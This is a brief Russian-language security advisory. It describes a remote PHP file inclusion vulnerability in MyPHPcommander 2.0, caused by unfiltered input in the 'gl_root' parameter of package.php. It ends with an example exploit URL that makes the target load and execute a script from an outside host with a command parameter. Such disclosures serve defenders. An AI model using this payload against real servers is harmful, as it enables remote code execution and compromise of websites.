Программа: MyPHPcommander 2.0
Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре «gl_root» сценарием package.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Пример:
http://site.0/myphpcommander_path/system/lib/package.php?gl_root=http://www.4azhar.com/soft.txt?cmd
